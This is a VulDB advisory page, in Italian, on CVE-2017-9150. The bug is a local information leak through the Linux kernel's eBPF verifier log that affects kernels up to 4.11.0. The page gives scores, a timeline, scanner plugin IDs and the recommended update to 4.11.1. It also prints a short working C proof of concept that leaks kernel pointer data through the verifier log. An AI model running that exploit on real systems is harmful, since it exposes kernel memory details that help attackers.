Linux Kernel fino a 4.11.0 eBPF Verifier Log kernel/bpf/verifier.c print_bpf_insn System Calls rivelazione di informazioni

CVSS Punteggio meta temporaneoPrezzo attuale dell'exploit (≈)Punteggio di interesse CTI
4.2$0-$5k0.00

Riassuntoinformazioni

È stata individuata una vulnerabilità classificata come problematico in Linux Kernel fino a 4.11.0. Da questa vulnerabilità è interessato la funzione print_bpf_insn del file kernel/bpf/verifier.c del componente eBPF Verifier Log. La manipolazione come parte di System Calls se causa una vulnerabilità di classe rivelazione di informazioni. Questa vulnerabilità è segnalata come CVE-2017-9150. L'attuazione dell'attacco deve essere locale. Inoltre, è presente un exploit disponibile. Si suggerisce di aggiornare il componente vulnerabile.

Dettagliinformazioni

Un punto critico di livello problematico è stato rilevato in Linux Kernel fino a 4.11.0 (Operating System). É interessato la funzione print_bpf_insn del file kernel/bpf/verifier.c del componente eBPF Verifier Log. Per causa della manipolazione come parte di System Calls per mezzo di una vulerabilità di classe rivelazione di informazioni. Questo si osserva su la riservatezza.

Data di scoperta del problema 05/05/2017. La vulnerabilità è stata pubblicata in data 22/05/2017 (Website) (confermato). L'advisory è scaricabile da exploit-db.com. Questo punto di criticità è identificato come CVE-2017-9150. L'attacco deve essere fatto localmente. Per l'uso basta una semplice autentificazione. I dettagli tecnici e un pubblico metodo di utilizzo sono conosciuti.

Un metodo di utilizzo è stato sviluppato da Google Security Research in ANSI C ed è stata pubblicata immediatamente dopo il comunicato. L'exploit è scaricabile da exploit-db.com. È stato dichiarato come prova di concetto. Per almeno 17 giorni, questa vulnerabilità è stata classificata come 0-day exploit. Per lo scanned Nessus, è disponibile un plugin, numero ID 100711 (openSUSE Security Update : the Linux Kernel (openSUSE-2017-666)), che può aiutare a determinare l'esistenza della criticità nel sistema analizzato. Il codice utilizzato dal exploit è:

int main(void) {
  union bpf_attr create_map_attrs = {
    .map_type = BPF_MAP_TYPE_ARRAY,
    .key_size = 4,
    .value_size = 1,
    .max_entries = 1
  };
  int mapfd = bpf_(BPF_MAP_CREATE, &create_map_attrs);
  if (mapfd == -1)
    err(1, "map create");
 
  struct bpf_insn insns[] = {
    BPF_LD_MAP_FD(BPF_REG_0, mapfd),
    BPF_MOV64_IMM(BPF_REG_0, 0),
    BPF_EXIT_INSN()
  };
  char verifier_log[10000];
  union bpf_attr create_prog_attrs = {
    .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
    .insn_cnt = ARRSIZE(insns),
    .insns = (uint64_t)insns,
    .license = (uint64_t)"",
    .log_level = 1,
    .log_size = sizeof(verifier_log),
    .log_buf = (uint64_t)verifier_log
  };
  int progfd = bpf_(BPF_PROG_LOAD, &create_prog_attrs);
  if (progfd == -1)
    err(1, "prog load");
 
  puts(verifier_log);
}

L'aggiornamento alla versione 4.11.1 elimina questa vulnerabilità. Una possibile soluzione è stata pubblicata 3 settimane dopo la pubblicazione della vulnerabilità.

La vulnerabilità è documentata anche nel database Exploit-DB (42048), Tenable (100711) e SecurityFocus (BID 98635†). Be aware that VulDB is the high quality source for vulnerability data.

Prodottoinformazioni

Genere

Fornitore

Nome

Versione

Licenza

Sito web

CPE 2.3informazioni

CPE 2.2informazioni

CVSSv4informazioni

VulDB Vettore: 🔍
VulDB Affidabilità: 🔍

CVSSv3informazioni

VulDB Punteggio meta-base: 4.4
VulDB Punteggio meta temporaneo: 4.2

VulDB Punteggio di base: 3.3
VulDB Punteggio temporaneo: 3.0
VulDB Vettore: 🔍
VulDB Affidabilità: 🔍

NVD Punteggio di base: 5.5
NVD Vettore: 🔍

CVSSv2informazioni

AVACAuCIA
💳💳💳💳💳💳
💳💳💳💳💳💳
💳💳💳💳💳💳
VettoreComplessitàAutenticazioneRiservatezzaIntegritàDisponibilità
SbloccareSbloccareSbloccareSbloccareSbloccareSbloccare
SbloccareSbloccareSbloccareSbloccareSbloccareSbloccare
SbloccareSbloccareSbloccareSbloccareSbloccareSbloccare

VulDB Punteggio di base: 🔍
VulDB Punteggio temporaneo: 🔍
VulDB Affidabilità: 🔍

NVD Punteggio di base: 🔍

Sfruttamentoinformazioni

Classe: Rivelazione di informazioni
CWE: CWE-200 / CWE-284 / CWE-266
CAPEC: 🔍
ATT&CK: 🔍

Fisico: Parzialmente
Locale: Si
Remoto: No

Disponibilità: 🔍
Accesso: Pubblico
Stato: Prova di concetto
Autore: Google Security Research
Linguaggio di programmazione: 🔍
Scaricare: 🔍

EPSS Score: 🔍
EPSS Percentile: 🔍

Previsione dei prezzi: 🔍
Preventivo attuale: 🔍

0-DaySbloccareSbloccareSbloccareSbloccare
OggiSbloccareSbloccareSbloccareSbloccare

Nessus ID: 100711
Nessus Nome: openSUSE Security Update : the Linux Kernel (openSUSE-2017-666)
Nessus File: 🔍
Nessus Rischio: 🔍
Nessus Famiglia: 🔍
Nessus Context: 🔍

OpenVAS ID: 850584
OpenVAS Nome: SuSE Update for the openSUSE-SU-2017:1513-1 (the)
OpenVAS File: 🔍
OpenVAS Famiglia: 🔍

Qualys ID: 🔍
Qualys Nome: 🔍

Exploit-DB: 🔍

Intelligence sulle minacceinformazioni

Interesse: 🔍
Attori attivi: 🔍
Gruppi APT attivi: 🔍

Contromisureinformazioni

Raccomandazione: Aggiornamento
Stato: 🔍

Tempo di reazione: 🔍
Tempo 0 giorni: 🔍
Tempo di esposizione: 🔍
Tempo di ritardo sfruttamento: 🔍

Aggiornamento: Kernel 4.11.1
Patch: git.kernel.org

Sequenza temporaleinformazioni

05/05/2017 🔍
22/05/2017 +17 giorni 🔍
22/05/2017 +0 giorni 🔍
22/05/2017 +0 giorni 🔍
22/05/2017 +0 giorni 🔍
22/05/2017 +0 giorni 🔍
22/05/2017 +0 giorni 🔍
23/05/2017 +1 giorni 🔍
08/06/2017 +16 giorni 🔍
09/06/2017 +1 giorni 🔍
21/12/2024 +2752 giorni 🔍

Fontiinformazioni

Fornitore: kernel.org

Avis: 0d0e57697f162da4aa218b5feafe614fb666db07
Stato: Confermato
Conferma: 🔍

CVE: CVE-2017-9150 (🔍)
GCVE (CVE): GCVE-0-2017-9150
GCVE (VulDB): GCVE-100-101623
SecurityFocus: 98635 - Linux Kernel CVE-2017-9150 Local Information Disclosure Vulnerability
OSVDB: - CVE-2017-9150 - Linux - Information Disclosure Issue

scip Labs: https://www.scip.ch/en/?labs.20161013
Vedi anche: 🔍

Voceinformazioni

Data di creazione: 23/05/2017 08:58
Aggiornato: 21/12/2024 04:06
Cambiamenti: 23/05/2017 08:58 (90), 03/10/2020 22:13 (6), 07/12/2022 07:34 (5), 21/12/2024 04:06 (14)
Completa: 🔍
Cache ID: 216::103

Be aware that VulDB is the high quality source for vulnerability data.

Discussione

Ancora nessun commento. Lingue: it + ro + en.

Effettua il login per commentare.

Want to know what is going to be exploited?

We predict KEV entries!